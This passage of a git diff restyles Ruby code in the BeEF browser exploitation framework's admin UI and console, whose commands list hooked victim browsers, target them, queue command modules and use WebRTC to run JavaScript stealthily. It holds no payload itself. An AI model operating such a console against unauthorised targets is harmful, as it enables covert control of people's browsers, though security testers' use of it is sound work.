{'success' => 'false'}.to_json if(not mod) - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = mod.path.split("/").last - - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - e.update_info(mod.id) - e.update_data() - command_modules_json[1] = JSON.parse(e.to_json) - if not command_modules_json.empty? - return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - def dynamic_payload2json(id, payload_name) - command_modules_json = {} - - command_module = BeEF::Core::Models::CommandModule.find(id) - (print_error "Module does not exists";return 'success' => 'false') if command_module.nil? - - payload_options = BeEF::Module.get_payload_options(command_module.name,payload_name) - # get payload options in JSON - #e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - payload_options_json = [] - payload_options_json[1] = payload_options - #payload_options_json[1] = e.get_payload_options(payload_name) - return {'success' => 'true', 'command_modules' => payload_options_json}.to_json - - end - -end - -end -end -end end diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 77c7928e8..4e751fde7 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -8,7 +8,6 @@ module BeEF module AdminUI module Controllers class Panel < BeEF::Extension::AdminUI::HttpController - def initialize super({ 'paths' => { diff --git a/extensions/admin_ui/extension.rb b/extensions/admin_ui/extension.rb index 88bf5d276..43027dcea 100644 --- a/extensions/admin_ui/extension.rb +++ b/extensions/admin_ui/extension.rb @@ -4,15 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI - extend BeEF::API::Extension - - @full_name = 'Administration Web UI' - @short_name = 'admin_ui' - @description = 'Command and control web interface' -end -end + module Extension + module AdminUI + extend BeEF::API::Extension + + @full_name = 'Administration Web UI' + @short_name = 'admin_ui' + @description = 'Command and control web interface' + end + end end # Constants diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb index 8b6257e2b..5bff4a567 100644 --- a/extensions/admin_ui/handlers/ui.rb +++ b/extensions/admin_ui/handlers/ui.rb @@ -8,44 +8,37 @@ # controllers into the framework. # module BeEF -module Extension -module AdminUI -module Handlers - - class UI + module Extension + module AdminUI + module Handlers + class UI + # + # Constructor + # + def initialize(klass) + # @todo Determine why this class is calling super? + # super + @klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize) + end - # - # Constructor - # - def initialize(klass) - # @todo Determine why this class is calling super? - #super - @klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize) + def call(env) + @request = Rack::Request.new(env) + @response = Rack::Response.new(env) + + controller = @klass.new + controller.run(@request, @response) + + @response = Rack::Response.new( + body = [controller.body], + status = controller.status, + header = controller.headers + ) + end + + @request + @response + end + end end - - def call(env) - @request = Rack::Request.new(env) - @response = Rack::Response.new(env) - - controller = @klass.new - controller.run(@request, @response) - - @response = Rack::Response.new( - body = [controller.body], - status = controller.status, - header = controller.headers - ) - - end - - private - - @request - @response - end - -end -end -end end diff --git a/extensions/autoloader/extension.rb b/extensions/autoloader/extension.rb index 7e68d61e9..78a1a4050 100644 --- a/extensions/autoloader/extension.rb +++ b/extensions/autoloader/extension.rb @@ -4,11 +4,10 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Autoloader - -end -end + module Extension + module Autoloader + end + end end require 'extensions/autoloader/model' diff --git a/extensions/autoloader/model.rb b/extensions/autoloader/model.rb index 2472c65aa..5ca2ec63f 100644 --- a/extensions/autoloader/model.rb +++ b/extensions/autoloader/model.rb @@ -4,15 +4,11 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - -class Autoloading < BeEF::Core::Model - - belongs_to :command - -end - -end -end + module Core + module Models + class Autoloading < BeEF::Core::Model + belongs_to :command + end + end + end end diff --git a/extensions/console/extension.rb b/extensions/console/extension.rb index 40b912f7d..a3fe02a71 100644 --- a/extensions/console/extension.rb +++ b/extensions/console/extension.rb @@ -4,30 +4,28 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console + module Extension + module Console + extend BeEF::API::Extension - extend BeEF::API::Extension - - # - # Sets the information for that extension. - # - @short_name = @full_name = 'console' - @description = 'console environment to manage beef' + # + # Sets the information for that extension. + # + @short_name = @full_name = 'console' + @description = 'console environment to manage beef' - module PostLoad - BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load') + module PostLoad + BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load') - def self.post_load - if BeEF::Core::Configuration.instance.get("beef.extension.console.enable") - print_error "The console extension is currently unsupported." - print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090" - BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false) - BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false) + def self.post_load + return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable') + + print_error 'The console extension is currently unsupported.' + print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090' + BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false) + BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false) + end end end end end -end -end - diff --git a/extensions/console/lib/command_dispatcher.rb b/extensions/console/lib/command_dispatcher.rb index 3117321d4..b4d28fc65 100644 --- a/extensions/console/lib/command_dispatcher.rb +++ b/extensions/console/lib/command_dispatcher.rb @@ -4,24 +4,23 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console + module Extension + module Console + module CommandDispatcher + include Rex::Ui::Text::DispatcherShell::CommandDispatcher -module CommandDispatcher - include Rex::Ui::Text::DispatcherShell::CommandDispatcher - - def initialize(driver) - super - - self.driver = driver + def initialize(driver) + super + + self.driver = driver + end + + attr_accessor :driver + end + end end - - attr_accessor :driver - end -end end end - require 'extensions/console/lib/command_dispatcher/core' require 'extensions/console/lib/command_dispatcher/target' -require 'extensions/console/lib/command_dispatcher/command' \ No newline at end of file +require 'extensions/console/lib/command_dispatcher/command' diff --git a/extensions/console/lib/command_dispatcher/command.rb b/extensions/console/lib/command_dispatcher/command.rb index 70663c519..1d0712724 100644 --- a/extensions/console/lib/command_dispatcher/command.rb +++ b/extensions/console/lib/command_dispatcher/command.rb @@ -4,193 +4,197 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console -module CommandDispatcher - -class Command - include BeEF::Extension::Console::CommandDispatcher + module Extension + module Console + module CommandDispatcher + class Command + include BeEF::Extension::Console::CommandDispatcher - @@params = [] - - def initialize(driver) - super - begin - driver.interface.cmd['Data'].each{|data| - @@params << data['name'] - } - rescue - return - end - end - - def commands - { - "execute" => "Go! Execute the command module", - "param" => "Set parameters for this module", - "response" => "Get previous responses to this command module", - "cmdinfo" => "See information about this particular command module" - } - end - - def name - "Command" - end - - @@bare_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help." ]) - - def cmd_cmdinfo(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_cmdinfo_help - return false - end - } - - print_line("Module name: " + driver.interface.cmd['Name']) - print_line("Module category: " + driver.interface.cmd['Category'].to_s) - print_line("Module description: " + driver.interface.cmd['Description']) - print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0 + @@params = [] - driver.interface.cmd['Data'].each{|data| - if data['type'].eql?("combobox") - print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")") - else - print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label']) - end - } if not driver.interface.cmd['Data'].nil? - end - - def cmd_cmdinfo_help(*args) - print_status("Displays information about the current command module") - end - - def cmd_param(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_param_help - return false - end - } - - if (args[0] == nil || args[1] == nil) - cmd_param_help - return - else - p = "" - (1..args.length-1).each do |x| - p << args[x] << " " - end - p.chop! - driver.interface.setparam(args[0],p) - end - end - - def cmd_param_help(*args) - print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values") - print_status(" Usage: param ") - end + def initialize(driver) + super + begin + driver.interface.cmd['Data'].each do |data| + @@params << data['name'] + end + rescue StandardError + nil + end + end - def cmd_param_tabs(str,words) - return if words.length > 1 + def commands + { + 'execute' => 'Go! Execute the command module', + 'param' => 'Set parameters for this module', + 'response' => 'Get previous responses to this command module', + 'cmdinfo' => 'See information about this particular command module' + } + end - if @@params == "" - #nothing prepopulated? - else - return @@params - end - end - - def cmd_execute(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_execute_help - return false - end - } - - if driver.interface.executecommand == true - print_status("Command successfully queued") - else - print_status("Something went wrong") - end - end - - def cmd_execute_help(*args) - print_status("Execute this module... go on!") - end - - def cmd_response(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_response_help - return false - end - } - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Id', - 'Executed Time', - 'Response Time' - ]) + def name + 'Command' + end - if args[0] == nil - lastcmdid = nil - driver.interface.getcommandresponses.each do |resp| - indiresp = driver.interface.getindividualresponse(resp['object_id']) - respout = "" - if indiresp.nil? or indiresp[0].nil? - respout = "No response yet" - else - respout = Time.at(indiresp[0]['date'].to_i).to_s - lastcmdid = resp['object_id'] - end - tbl << [resp['object_id'].to_s, resp['creationdate'], respout] - end - - puts "\n" - puts "List of responses for this command module:\n" - puts tbl.to_s + "\n" + @@bare_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help.'] + ) - if not lastcmdid.nil? - resp = driver.interface.getindividualresponse(lastcmdid) - puts "\n" - print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s) - print_line("Response:") - resp.each do |op| - print_line(op['data']['data'].to_s) - end - end - else - output = driver.interface.getindividualresponse(args[0]) - if output.nil? - print_line("Invalid response ID") - elsif output[0].nil? - print_line("No response yet from the hooked browser or perhaps an invalid response ID") - else - print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s) - print_line("") - print_line("Response:") - output.each do |op| - print_line(op['data']['data'].to_s) + def cmd_cmdinfo(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_cmdinfo_help + return false + end + end + + print_line('Module name: ' + driver.interface.cmd['Name']) + print_line('Module category: ' + driver.interface.cmd['Category'].to_s) + print_line('Module description: ' + driver.interface.cmd['Description']) + print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0 + + unless driver.interface.cmd['Data'].nil? + driver.interface.cmd['Data'].each do |data| + if data['type'].eql?('combobox') + print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')') + else + print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label']) + end + end + end + end + + def cmd_cmdinfo_help(*_args) + print_status('Displays information about the current command module') + end + + def cmd_param(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_param_help + return false + end + end + + if args[0].nil? || args[1].nil? + cmd_param_help + nil + else + p = '' + (1..args.length - 1).each do |x| + p << args[x] << ' ' + end + p.chop! + driver.interface.setparam(args[0], p) + end + end + + def cmd_param_help(*_args) + print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values') + print_status(' Usage: param ') + end + + def cmd_param_tabs(_str, words) + return if words.length > 1 + + if @@params == '' + # nothing prepopulated? + else + @@params + end + end + + def cmd_execute(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_execute_help + return false + end + end + + if driver.interface.executecommand == true + print_status('Command successfully queued') + else + print_status('Something went wrong') + end + end + + def cmd_execute_help(*_args) + print_status('Execute this module... go on!') + end + + def cmd_response(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_response_help + return false + end + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'Id', + 'Executed Time', + 'Response Time' + ] + ) + + if args[0].nil? + lastcmdid = nil + driver.interface.getcommandresponses.each do |resp| + indiresp = driver.interface.getindividualresponse(resp['object_id']) + respout = '' + if indiresp.nil? or indiresp[0].nil? + respout = 'No response yet' + else + respout = Time.at(indiresp[0]['date'].to_i).to_s + lastcmdid = resp['object_id'] + end + tbl << [resp['object_id'].to_s, resp['creationdate'], respout] + end + + puts "\n" + puts "List of responses for this command module:\n" + puts tbl.to_s + "\n" + + unless lastcmdid.nil? + resp = driver.interface.getindividualresponse(lastcmdid) + puts "\n" + print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s) + print_line('Response:') + resp.each do |op| + print_line(op['data']['data'].to_s) + end + end + else + output = driver.interface.getindividualresponse(args[0]) + if output.nil? + print_line('Invalid response ID') + elsif output[0].nil? + print_line('No response yet from the hooked browser or perhaps an invalid response ID') + else + print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s) + print_line('') + print_line('Response:') + output.each do |op| + print_line(op['data']['data'].to_s) + end + end + end + end + + def cmd_response_help(*_args) + print_status('List and review particular responses to this command') + print_status(' Usage: response (id)') + print_status(" If you omit id you'll see a list of all responses for the currently active command module") + end end end end end - - def cmd_response_help(*args) - print_status("List and review particular responses to this command") - print_status(" Usage: response (id)") - print_status(" If you omit id you'll see a list of all responses for the currently active command module") - end - end - -end end end end diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 9b8c43a75..e733379ba 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -4,510 +4,515 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Console -module CommandDispatcher + module Extension + module Console + module CommandDispatcher + class Core + include BeEF::Extension::Console::CommandDispatcher -class Core - include BeEF::Extension::Console::CommandDispatcher - - def initialize(driver) - super - end - - def commands - { - "?" => "Help menu", - "back" => "Move back from the current context", - "exit" => "Exit the console", - "help" => "Help menu", - "irb" => "Drops into an interactive Ruby environment", - "jobs" => "Print jobs", - "online" => "List online hooked browsers", - "offline" => "List previously hooked browsers", - "quit" => "Exit the console", - "review" => "Target a particular previously hooked (offline) hooked browser", - "show" => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)", - "target" => "Target a particular online hooked browser", - "rtcgo" => "Initiate the WebRTC connectivity between two browsers", - "rtcmsg" => "Send a message from a browser to its peers", - "rtcstatus" => "Check a browsers WebRTC status" - } - end - - def name - "Core" - end - - def cmd_back(*args) - if (driver.current_dispatcher.name == 'Command') - driver.remove_dispatcher('Command') - driver.interface.clearcommand #TODO: TIDY THIS UP - if driver.interface.targetid.length > 1 - driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") - else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") - end - elsif (driver.current_dispatcher.name == 'Target') - driver.remove_dispatcher('Target') - driver.interface.cleartarget - driver.update_prompt('') - elsif (driver.dispatcher_stack.size > 1 and - driver.current_dispatcher.name != 'Core') - - driver.destack_dispatcher - - driver.update_prompt('') - end - end - - def cmd_back_help(*args) - print_status("Move back one step") - end - - def cmd_exit(* args) - driver.stop - end - - alias cmd_quit cmd_exit - - @@jobs_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help." ], - "-l" => [ false, "List jobs." ], - "-k" => [ true, "Terminate the job." ]) - - def cmd_jobs(*args) - if (args[0] == nil) - cmd_jobs_list - print_line "Try: jobs -h" - return - end + def initialize(driver) + super + end - @@jobs_opts.parse(args) {|opt, idx, val| - case opt - when "-k" - if (not driver.jobs.has_key?(val)) - print_error("no such job") - else - #This is a special job, that has to be terminated different prior to cleanup - if driver.jobs[val].name == "http_hook_server" - print_line("Nah uh uh - can't stop this job ya BeEF head!") - else - print_line("Stopping job: #{val}...") - driver.jobs.stop_job(val) + def commands + { + '?' => 'Help menu', + 'back' => 'Move back from the current context', + 'exit' => 'Exit the console', + 'help' => 'Help menu', + 'irb' => 'Drops into an interactive Ruby environment', + 'jobs' => 'Print jobs', + 'online' => 'List online hooked browsers', + 'offline' => 'List previously hooked browsers', + 'quit' => 'Exit the console', + 'review' => 'Target a particular previously hooked (offline) hooked browser', + 'show' => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)", + 'target' => 'Target a particular online hooked browser', + 'rtcgo' => 'Initiate the WebRTC connectivity between two browsers', + 'rtcmsg' => 'Send a message from a browser to its peers', + 'rtcstatus' => 'Check a browsers WebRTC status' + } + end + + def name + 'Core' + end + + def cmd_back(*_args) + if driver.current_dispatcher.name == 'Command' + driver.remove_dispatcher('Command') + driver.interface.clearcommand # TODO: TIDY THIS UP + if driver.interface.targetid.length > 1 + driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ') + else + driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ') + end + elsif driver.current_dispatcher.name == 'Target' + driver.remove_dispatcher('Target') + driver.interface.cleartarget + driver.update_prompt('') + elsif driver.dispatcher_stack.size > 1 and + driver.current_dispatcher.name != 'Core' + + driver.destack_dispatcher + + driver.update_prompt('') end end - when "-l" - cmd_jobs_list - when "-h" - cmd_jobs_help - return false - end - } - end - def cmd_jobs_help(*args) - print_line "Usage: jobs [options]" - print_line - print @@jobs_opts.usage() - end + def cmd_back_help(*_args) + print_status('Move back one step') + end - def cmd_jobs_list - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Id', - 'Job Name' - ]) - driver.jobs.keys.each{|k| - tbl << [driver.jobs[k].jid.to_s, driver.jobs[k].name] - } - puts "\n" - puts tbl.to_s + "\n" - end - - @@bare_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help." ]) - - def cmd_online(*args) - - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_online_help - return false - end - } - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Id', - 'IP', - 'Hook Host', - 'Browser', - 'OS', - 'Hardware' - ]) - - BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')] - end - - puts "\n" - puts "Currently hooked browsers within BeEF" - puts "\n" - puts tbl.to_s + "\n" - end - - def cmd_online_help(*args) - print_status("Show currently hooked browsers within BeEF") - end - - def cmd_offline(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_offline_help - return false - end - } - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => - [ - 'Id', - 'IP', - 'Hook Host', - 'Browser', - 'OS', - 'Hardware' - ]) - - BeEF::Core::Models::HookedBrowser.where('lastseen < ?', (Time.new.to_i - 30)).each do |zombie| - tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')] - end - - puts "\n" - puts "Previously hooked browsers within BeEF" - puts "\n" - puts tbl.to_s + "\n" - end - - def cmd_offline_help(*args) - print_status("Show previously hooked browsers") - end - - def cmd_target(*args) - @@bare_opts.parse(args) {|opt, idx, val| - case opt - when "-h" - cmd_target_help - return false - end - } - - if args[0] == nil - cmd_target_help - return - end - - onlinezombies = [] - BeEF::Core::Models::HookedBrowser.where('lastseen > ?', (Time.new.to_i - 30)).each do |zombie| - onlinezombies << zombie.id - end + def cmd_exit(*_args) + driver.stop + end - targets = args[0].split(',') - targets.each {|t| - if not onlinezombies.include?(t.to_i) - print_status("Browser [id:"+t.to_s+"] does not appear to be online.") - return false - end - #print_status("Adding browser [id:"+t.to_s+"] to target list.") - } - - if not driver.interface.settarget(targets).nil? - - if (driver.dispatcher_stack.size > 1 and - driver.current_dispatcher.name != 'Core') - driver.destack_dispatcher - driver.update_prompt('') - end + alias cmd_quit cmd_exit - driver.enstack_dispatcher(Target) - if driver.interface.targetid.length > 1 - driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") - else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + @@jobs_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help.'], + '-l' => [false, 'List jobs.'], + '-k' => [true, 'Terminate the job.'] + ) + + def cmd_jobs(*args) + if args[0].nil? + cmd_jobs_list + print_line 'Try: jobs -h' + return + end + + @@jobs_opts.parse(args) do |opt, _idx, val| + case opt + when '-k' + if !driver.jobs.has_key?(val) + print_error('no such job') + elsif driver.jobs[val].name == 'http_hook_server' + # This is a special job, that has to be terminated different prior to cleanup + print_line("Nah uh uh - can't stop this job ya BeEF head!") + else + print_line("Stopping job: #{val}...") + driver.jobs.stop_job(val) + end + when '-l' + cmd_jobs_list + when '-h' + cmd_jobs_help + return false + end + end + end + + def cmd_jobs_help(*_args) + print_line 'Usage: jobs [options]' + print_line + print @@jobs_opts.usage + end + + def cmd_jobs_list + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'Id', + 'Job Name' + ] + ) + driver.jobs.keys.each do |k| + tbl << [driver.jobs[k].jid.to_s, driver.jobs[k].name] + end + puts "\n" + puts tbl.to_s + "\n" + end + + @@bare_opts = Rex::Parser::Arguments.new( + '-h' => [false, 'Help.'] + ) + + def cmd_online(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_online_help + return false + end + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'Id', + 'IP', + 'Hook Host', + 'Browser', + 'OS', + 'Hardware' + ] + ) + + BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 30)).each do |zombie| + tbl << [ + zombie.id, + zombie.ip, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'HostName').to_s, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s + '-' + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'), + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware') + ] + end + + puts "\nCurrently hooked browsers within BeEF\n#{tbl}\n" + end + + def cmd_online_help(*_args) + print_status('Show currently hooked browsers within BeEF') + end + + def cmd_offline(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_offline_help + return false + end + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => + [ + 'Id', + 'IP', + 'Hook Host', + 'Browser', + 'OS', + 'Hardware' + ] + ) + + BeEF::Core::Models::HookedBrowser.where('lastseen < ?', (Time.new.to_i - 30)).each do |zombie| + tbl << [ + zombie.id, + zombie.ip, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'HostName').to_s, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s + '-' + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s, + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'), + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware') + ] + end + + puts "\n" + puts 'Previously hooked browsers within BeEF' + puts "\n" + puts tbl.to_s + "\n" + end + + def cmd_offline_help(*_args) + print_status('Show previously hooked browsers') + end + + def cmd_target(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_target_help + return false + end + end + + if args[0].nil? + cmd_target_help + return + end + + onlinezombies = [] + BeEF::Core::Models::HookedBrowser.where('lastseen > ?', (Time.new.to_i - 30)).each do |zombie| + onlinezombies << zombie.id + end + + targets = args[0].split(',') + targets.each do |t| + unless onlinezombies.include?(t.to_i) + print_status('Browser [id:' + t.to_s + '] does not appear to be online.') + return false + end + # print_status("Adding browser [id:"+t.to_s+"] to target list.") + end + + unless driver.interface.settarget(targets).nil? + + if driver.dispatcher_stack.size > 1 and + driver.current_dispatcher.name != 'Core' + driver.destack_dispatcher + driver.update_prompt('') + end + + driver.enstack_dispatcher(Target) + if driver.interface.targetid.length > 1 + driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ') + else + driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ') + end + end + end + + def cmd_target_help(*_args) + print_status('Target a particular online, hooked browser') + print_status(' Usage: target ') + end + + def cmd_rtcgo(*args) + if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true + print_status('WebRTC Extension is not enabled..') + return false + end + + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_rtcgo_help + return false + end + end + + if args[0].nil? or args[1].nil? + cmd_rtcgo_help + return + end + + onlinezombies = [] + BeEF::Core::Models::HookedBrowser.where('lastseen > ?', (Time.new.to_i - 30)).each do |z| + onlinezombies << z.id + end + + unless onlinezombies.include?(args[0].to_i) + print_status('Browser [id:' + args[0].to_s + '] does not appear to be online.') + return false + end + + unless onlinezombies.include?(args[1].to_i) + print_status('Browser [id:' + args[1].to_s + '] does not appear to be online.') + return false + end + + if args[2].nil? + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i) + elsif args[2] =~ (/^(true|t|yes|y|1)$/i) + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i, true) + else + BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i) + end + end + + def cmd_rtcgo_help(*_args) + print_status('To kick off the WebRTC Peer to Peer between two browsers') + print_status(' Usage: rtcgo ') + end + + def cmd_rtcmsg(*args) + if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true + print_status('WebRTC Extension is not enabled..') + return false + end + + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_rtcmsg_help + return false + end + end + + if args[0].nil? || args[1].nil? || args[2].nil? + cmd_rtcmsg_help + nil + else + p = '' + (2..args.length - 1).each do |x| + p << args[x] << ' ' + end + p.chop! + BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i, args[1].to_i, p) + end + end + + def cmd_rtcmsg_help(*_args) + print_status('Sends a message from this browser to its peers') + print_status(' Usage: rtcmsg ') + print_status('There are a few formats that are available within the beefwebrtc client-side object:') + print_status(' !gostealth - will put the browser into a stealth mode') + print_status(' !endstealth - will put the browser into normal mode, and it will start talking to BeEF again') + print_status(' % - will execute JavaScript on sending the results back to - who will relay back to BeEF') + print_status(" - will simply send a datachannel message from to . If the is stealthed, it'll bounce the message back. If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler") + end + + def cmd_rtcstatus(*args) + if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true + print_status('WebRTC Extension is not enabled..') + return false + end + + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_rtcstatus_help + return false + end + end + + if args[0].nil? + cmd_rtcstatus_help + nil + else + BeEF::Core::Models::Rtcmanage.status(args[0].to_i) + end + end + + def cmd_rtcstatus_help(*_args) + print_status('Sends a message to this browser - checking the WebRTC Status of all its peers') + print_status(' Usage: rtcstatus ') + end + + def cmd_irb(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_irb_help + return false + end + end + + print_status("Starting IRB shell...\n") + + begin + Rex::Ui::Text::IrbShell.new(binding).run + rescue StandardError + print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}") + end + end + + def cmd_irb_help(*_args) + print_status('Load the IRB, Interative Ruby Shell') + end + + def cmd_review(*args) + @@bare_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + cmd_review_help + return false + end + end + + if args[0].nil? + cmd_review_help + return + end + + offlinezombies = [] + BeEF::Core::Models::HookedBrowser.where('lastseen < ?', (Time.new.to_i - 30)).each do |zombie| + offlinezombies << zombie.id + end + + targets = args[0].split(',') + targets.each do |t| + unless offlinezombies.include?(t.to_i) + print_status('Browser [id:' + t.to_s + '] does not appear to be offline.') + return false + end + # print_status("Adding browser [id:"+t.to_s+"] to target list.") + end + + # if not offlinezombies.include?(args[0].to_i) + # print_status("Browser does not appear to be offline..") + # return false + # end + + unless driver.interface.setofflinetarget(targets).nil? + if driver.dispatcher_stack.size > 1 and + driver.current_dispatcher.name != 'Core' + driver.destack_dispatcher + driver.update_prompt('') + end + + driver.enstack_dispatcher(Target) + if driver.interface.targetid.length > 1 + driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ') + else + driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ') + end + end + end + + def cmd_review_help(*_args) + print_status('Review an offline, previously hooked browser') + print_status(' Usage: review ') + end + + def cmd_show(*args) + args << '-h' if args.length == 0 + + args.each do |type| + case type + when '-h' + cmd_show_help + when 'zombies' + driver.run_single('online') + when 'browsers' + driver.run_single('online') + when 'online' + driver.run_single('online') + 